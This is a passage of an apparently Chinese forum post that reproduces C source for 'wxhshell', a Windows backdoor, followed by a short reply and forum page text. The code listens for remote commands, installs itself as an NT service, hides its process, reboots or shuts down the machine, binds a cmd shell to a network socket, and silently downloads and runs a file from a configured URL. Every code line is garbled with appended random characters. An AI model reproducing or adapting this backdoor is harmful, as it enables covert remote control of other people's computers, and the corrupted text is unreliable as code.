  send(wsh,msg_ws_err,strlen(msg_ws_err),0); tDn:B$*}W,  
  else 1Y(NxC0P=g  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); !]t5(g_  
  } W|AK"vf  
  else { ytyB:# J  
agp7zw=N  
    switch(cmd[0]) { n+SHkrW  
   -wQ@z6R  
  // 帮助 nIf~ds&TT  
  case '?': { U~q2j#pJ  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); vMeB2r<  
    break; ZFNg+H/k  
  } u{%dm5  
  // 安装 BY`vs+]XY  
  case 'i': { Fb\ E39  
    if(Install()) :'X:cL  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); wL~-k  
    else HJt@m &H|  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); yGvBQ2kYb  
    break; 1}ws@hU  
    } -xL^UcG0  
  // 卸载 |wGmu&fY  
  case 'r': { EClx+tz;`  
    if(Uninstall()) \x<i6&.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); T*jQzcm~?  
    else 6 }>CPi#  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); i>%A0.9  
    break; (DY&{vudF  
    } ]\(Ho  
  // 显示 wxhshell 所在路径 \IO<V9^L  
  case 'p': { AfvIzsT0  
    char svExeFile[MAX_PATH]; \%|%C  
    strcpy(svExeFile,"\n\r"); IH3Nkpsg  
      strcat(svExeFile,ExeFile); BD?u|Fd,i:  
        send(wsh,svExeFile,strlen(svExeFile),0); {wvBs87  
    break; N<^)tR8+  
    } {iYrC m[_  
  // 重启 V-k x=M"k  
  case 'b': { x,LY fy"0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); !4+ FN)  
    if(Boot(REBOOT)) n.OsmCRN;  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9NeHN@D)  
    else { Y@ X>ejk"  
    closesocket(wsh); )LTX.Kg  
    ExitThread(0); V)A7q9Bum  
    } xv~Sk2Z+d  
    break; z^u*e  
    } /B)`pF.n  
  // 关机 YT}ZLx  
  case 'd': { ToM1#]4  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); g9@H4y6fe=  
    if(Boot(SHUTDOWN)) pch8A0JAl)  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); !p!^[/9"c  
    else { X"g`hT"i  
    closesocket(wsh); )>,ndKT~  
    ExitThread(0); ?10L *PD@  
    } -8:/My  
    break; Q!70D)O$  
    } $;Z0CG  
  // 获取shell .~X&BY>qP  
  case 's': { $g_|U:,  
    CmdShell(wsh); .S*VYt%K7  
    closesocket(wsh); <FfmDR  
    ExitThread(0); 0( q:K6zI}  
    break; )3.=)?XW  
  } |cgc^S/~H  
  // 退出 {$Z S 2 7  
  case 'x': { Tly*i"[&  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); DO6 pv  
    CloseIt(wsh); 17#t7Yk  
    break; V I]~uTV  
    } V-dyeb  
  // 离开 _6-N+FI  
  case 'q': { c!N#nt_<  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 7n]ukqZ  
    closesocket(wsh);  lofP$  
    WSACleanup(); S/dj])g  
    exit(1); z&yVU<;  
    break; Mh]4K" cs  
        } j937tn!Q  
  } .f&Z+MQ  
  } 31cZ6[  
2=7:6Fw  
  // 提示信息 )=AWgA  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); :+f6:3  
} +]p/.- Uw  
  } cCs@[D#O1  
)M* Sg?L  
  return; %xA-j]%?ep  
} %k @4}M>  
RQU-]qQ8BM  
// shell模块句柄 !uP8powO  
int CmdShell(SOCKET sock) pZKK7   
{ Oj '^Ww m  
STARTUPINFO si; b9VI(s>  
ZeroMemory(&si,sizeof(si)); .EZ8yJj1Q  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ssAGWP  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; /9o6R:B  
PROCESS_INFORMATION ProcessInfo; +V;d^&S  
char cmdline[]="cmd"; }=A+W2D  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); eOahr:Db  
  return 0; 1BSn#Dnj  
} Q-J} :U  
Q5]rc`} 5  
// 自身启动模式 m[ER~]L/C  
int StartFromService(void) BmaY&?  
{ hPuF:iiQ4  
typedef struct a:KL{e[   
{ zEh&@{u?  
  DWORD ExitStatus; `aSbGMz  
  DWORD PebBaseAddress; b^A7R{G7  
  DWORD AffinityMask; 2 SU  
  DWORD BasePriority; Bf;<3k)5.  
  ULONG UniqueProcessId; A@Cvx7X  
  ULONG InheritedFromUniqueProcessId; a:s$[+'Y  
}   PROCESS_BASIC_INFORMATION; M zF,is  
3zv0Nwb,  
PROCNTQSIP NtQueryInformationProcess; *;T'=u_lR  
&5*t*tI  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; *Ag3qnY  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; uK0L>  
9{0%M  
  HANDLE             hProcess; c3WF!~1r  
  PROCESS_BASIC_INFORMATION pbi; i!eY"|o  
&%tW  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); oJ|m/i)  
  if(NULL == hInst ) return 0; "n{JH9sA:  
l!": s:/'  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); bl{W{?QI  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !Ej?9LHo  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); [LrO"9q(  
# )s +I2  
  if (!NtQueryInformationProcess) return 0; iLNO}EUL  
O^8=Xj#}  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); (yoF  
  if(!hProcess) return 0; 7!;zkou  
V P(JV  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 7Kpv fyL{  
2InM(p7j~K  
  CloseHandle(hProcess); u+c2 m  
.g94|P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); _#we1m  
if(hProcess==NULL) return 0; -s\R2_(  
uQKo2B0  
HMODULE hMod; eN`G2eE  
char procName[255]; v1/Y0  
unsigned long cbNeeded; /#SH`ZK  
1GPBqF  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); "LH3ZPD  
/ S@iF  
  CloseHandle(hProcess); R G~GVf  
[fY7|  
if(strstr(procName,"services")) return 1; // 以服务启动 k1SD{BL  
v^ v \6uEP  
  return 0; // 注册表启动 At !@Rc  
} ( X+2vN  
S;oRE' kk  
// 主模块 ^1<i7u  
int StartWxhshell(LPSTR lpCmdLine) &Lbwx&!0b  
{ ?Ss~!38  
  SOCKET wsl; S+*>""=  
BOOL val=TRUE; ,$U~<Zd  
  int port=0; !pHI`FeAV  
  struct sockaddr_in door; "sWsK %  
/FjdcH=  
  if(wscfg.ws_autoins) Install(); G-,0mo  
OLV3.~T  
port=atoi(lpCmdLine); >CwI(vXn  
F+L%Ho;@P  
if(port<=0) port=wscfg.ws_port; . g-  HB'  
}}bMq.Q'  
  WSADATA data; = J]M#6N0  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9W-1P}e,  
i 1Kq (7  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   \GKR(~f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); 1H-~+lf  
  door.sin_family = AF_INET; N#@v`S  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); '8FHn~F  
  door.sin_port = htons(port); .v-2A);I  
r]]:/pw?t  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { BK wo2=m~  
closesocket(wsl); s'OK])>`  
return 1; EVE"F'Ww,_  
} 5Zmc3&vRl  
rq1zvuUx  
  if(listen(wsl,2) == INVALID_SOCKET) { s3'kzwX  
closesocket(wsl); Fc=6 *.hy  
return 1; 7]~|dc(  
} <9T,J"y  
  Wxhshell(wsl); b `bg`}x  
  WSACleanup(); +;=>&XR0m  
/c6]DQ<?  
return 0; )*Wz5x  
LI^D\  
} -BWWaL  
QL2 `X2  
// 以NT服务方式启动 "xn,'`a  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) S~&9DQNj  
{ 8iM:ok  
DWORD   status = 0; =kCiJ8q|  
  DWORD   specificError = 0xfffffff; m\E=I5*/  
`cIeqp  
  serviceStatus.dwServiceType     = SERVICE_WIN32; E,cQ9}/  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; yU"#2 *C  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; P% 8U  
  serviceStatus.dwWin32ExitCode     = 0; 3,#v0#  
  serviceStatus.dwServiceSpecificExitCode = 0; Ndyo)11z  
  serviceStatus.dwCheckPoint       = 0; E`{DX9^  
  serviceStatus.dwWaitHint       = 0; ]z| 2  
MXjN ./  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); K@/dQV%Z  
  if (hServiceStatusHandle==0) return; p["pGsf  
fI'+4 )@x  
status = GetLastError(); xMa9o  
  if (status!=NO_ERROR) ~yV?*"Hi  
{ nZG zez  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; k_?~@G[I  
    serviceStatus.dwCheckPoint       = 0; `tcX[(`  
    serviceStatus.dwWaitHint       = 0; ]24]id  
    serviceStatus.dwWin32ExitCode     = status; B\% Gp}  
    serviceStatus.dwServiceSpecificExitCode = specificError; B~J63Os/  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); @;KvUR/+FE  
    return; Dz/MIx  
  } 5PP^w~n  
9[DlJ@T}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; ePxAZg$ `>  
  serviceStatus.dwCheckPoint       = 0; *)oBE{6D  
  serviceStatus.dwWaitHint       = 0; `B,R+==G:  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); sGpAaGY>  
} 51* [Ibx  
t2|0no  
// 处理NT服务事件,比如:启动、停止 /gex0 w  
VOID WINAPI NTServiceHandler(DWORD fdwControl) O7 yj<  
{ r=p^~tuyxr  
switch(fdwControl) WP=uHg  
{ Xg\unUHa  
case SERVICE_CONTROL_STOP: <7zz"R  
  serviceStatus.dwWin32ExitCode = 0; %b~ND?nn-  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; 3C'6i  
  serviceStatus.dwCheckPoint   = 0; $vn)(zn+  
  serviceStatus.dwWaitHint     = 0; Bgp%hK  
  { fZ^ad1o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); YPO24_B  
  } JNP6qM  
  return; ^t$uDQ[hA  
case SERVICE_CONTROL_PAUSE: ;Cjj_9e,:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; n36iY'<)G  
  break; "$ISun=8  
case SERVICE_CONTROL_CONTINUE: -Rr !J37  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; V 'fri/Z  
  break; 8Z)wot  
case SERVICE_CONTROL_INTERROGATE: ?crK613 t  
  break; bfpoX,:   
};  ':DL  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 09{s'  
} U!E}(9 tb  
G]mD_J1$  
// 标准应用程序主函数 ULs'oT)K;  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) 2OqEyXh  
{ |$+/IxDP  
@=Dc(5`[  
// 获取操作系统版本 Dd-a*6|x  
OsIsNt=GetOsVer(); Ug4o2n0sk  
GetModuleFileName(NULL,ExeFile,MAX_PATH); BWB}bq  
%c%`< y<~L  
  // 从命令行安装 ZCMH?>  
  if(strpbrk(lpCmdLine,"iI")) Install(); AVfF<E/  
F IB)cpo  
  // 下载执行文件 Y]5MM:mI  
if(wscfg.ws_downexe) { `)MKCw$e  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) q!~DCv df  
  WinExec(wscfg.ws_filenam,SW_HIDE); V ZtFgN$J  
} xDsKb_  
;>F1?5P{  
if(!OsIsNt) { Y0m?ZVt  
// 如果时win9x,隐藏进程并且设置为注册表启动 yJ6g{#X4K<  
HideProc(); q|r*4={^!*  
StartWxhshell(lpCmdLine); e@/' o/  
} | h+vdE8  
else c\O2|'JzE  
  if(StartFromService()) !| - U,  
  // 以服务方式启动 zJ:%iL@  
  StartServiceCtrlDispatcher(DispatchTable); )_?h;wh 84  
else .M ID)PY-  
  // 普通方式启动 |ZXz&Xor  
  StartWxhshell(lpCmdLine); "=JE12=u  
/FC(d5I  
return 0; 8HHR  
}
评价一下你浏览此帖子的感受

精彩

感动

搞笑

开心

愤怒

无聊

灌水
级别: 大掌柜
发帖
7343
铜板
6618
人品值
1388
贡献值
28
交易币
100
好评度
7488
信誉值
10
金币
0
所在楼道
学一楼
只看该作者 1 发表于: 2006-10-10
学习一下 呵呵
描述
快速回复

您目前还是游客,请 登录注册
如果您在写长篇帖子又不马上发表,建议存为草稿
认证码:
验证问题:
10+5=?,请输入中文答案:十五